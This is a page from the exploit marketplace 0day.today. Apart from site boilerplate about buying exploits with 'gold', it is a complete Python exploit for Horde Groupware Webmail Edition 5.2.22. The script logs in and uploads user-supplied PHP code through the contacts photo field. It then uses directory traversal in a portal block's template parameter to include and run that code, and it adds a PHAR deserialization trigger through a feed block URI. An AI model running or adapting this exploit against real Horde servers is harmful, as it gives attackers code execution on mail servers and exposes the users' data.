0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Horde Groupware Webmail Edition 5.2.22 - PHP File Inclusion Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## exploit-inc-inclusion.py #!/usr/bin/env python3 from horde import Horde import subprocess import sys TEMP_DIR = '/tmp' if len(sys.argv) < 5: print('Usage: <base_url> <username> <password> <filename> <php_code>') sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filename = sys.argv[4] php_code = sys.argv[5] # log into the web application horde = Horde(base_url, username, password) # upload (delete manually) and evaluate the .inc file horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code)) horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename)) ## exploit-inc-inclusion.py EOF ## horde.py import re import requests class Horde(): def __init__(self, base_url, username, password): self.base_url = base_url self.username = username self.password = password self.session = requests.session() self.token = None self._login() def _login(self): url = '{}/login.php'.format(self.base_url) data = { 'login_post': 1, 'horde_user': self.username, 'horde_pass': self.password } response = self.session.post(url, data=data) token_match = re.search(r'"TOKEN":"([^"]+)"', response.text) assert ( len(response.history) == 1 and response.history[0].status_code == 302 and response.history[0].headers['location'] == '/services/portal/' and token_match ), 'Cannot log in' self.token = token_match.group(1) def upload_to_tmp(self, filename, data): url = '{}/turba/add.php'.format(self.base_url) files = { 'object[photo][img][file]': (None, filename), 'object[photo][new]': ('x', data) } response = self.session.post(url, files=files) assert response.status_code == 200, 'Cannot upload the file to tmp' def include_remote_inc_file(self, path): # vulnerable block (alternatively 'trean:trean_Block_Mostclicked') app = 'trean:trean_Block_Bookmarks' # add one dummy bookmark (to be sure) url = '{}/trean/add.php'.format(self.base_url) data = { 'actionID': 'add_bookmark', 'url': 'x' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark' # add bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark block' # edit bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[template]': '../../../../../../../../../../../' + path } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the bookmark block' # evaluate the remote file url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) print(response.text) # remove the bookmark block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the bookmark block' def trigger_phar(self, path): # vulnerable block (alternatively the same can be obtained by creating a # bookmark with the PHAR path and clocking on it) app = 'horde:horde_Block_Feed' # add syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the syndicated feed block' # edit syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[uri]': 'phar://{}'.format(path) } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the syndicated feed block' # load the PHAR archive url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) # remove the syndicated feed block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the syndicated feed block' ## horde.py EOF # 0day.today [2024-12-24] #